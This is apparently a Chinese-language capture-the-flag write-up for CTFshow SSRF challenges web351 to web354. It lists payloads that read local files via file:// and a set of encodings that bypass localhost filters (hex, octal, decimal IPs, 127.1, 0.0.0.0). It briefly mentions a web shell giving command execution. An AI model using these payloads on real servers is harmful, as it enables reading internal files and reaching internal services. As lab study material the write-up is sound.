文章目录
前言:
- 前言:
- CTFshow
- web351
- web352
- web353
- web354
- web355
- web356
- web357
- web358
- web359
- web360
- 参考文献
关于互联网协议的一些认识: 互联网协议1 互联网协议2
CTFshow对SSRF,比较重要的就是先尝试每一个协议是否可以使用。
web351
代码审计,发现就是特别普通的curl语句,没有任何过滤,我们使用file协议来读取本地文件 所以我们可以使用file://来读取flag.php文件 payload
POST:url=file:///var/www/html/flag.php(一般的路径是这个)
还有个:
url=http://127.0.0.1/flag.php(使用http://协议访问本地文件,类似于我们自己在本地搭建网站)
nginx配置路径:/etc/nginx/ngin.conf,用file可以访问
web352
parse_url:
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
例子:
输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
/path
这个题需要满足传输协议为http,https,但是ip地址不能为127.0.0.1
有许多绕过方式 进制转换
1.进制转换
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
2.特殊模式
url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php
3.0.0.0.0绕过
url=http://0.0.0.0/flag.php
4.用CIDR绕过localhost
url=http://127.127.127.127/flag.php
5.短标签绕过,好像不行
ipv6绕过[::1],这题也不行。
使用句号绕过:url=http://127。0。0。1/flag.php,也不行
DNS重绑定
web353
同上,但是有一些payload不能用
web354代码
然后传入shell,默认生成shell.php 访问shell.php,任意命令执行。
参考文献
羽师傅 feng师傅 Y4爷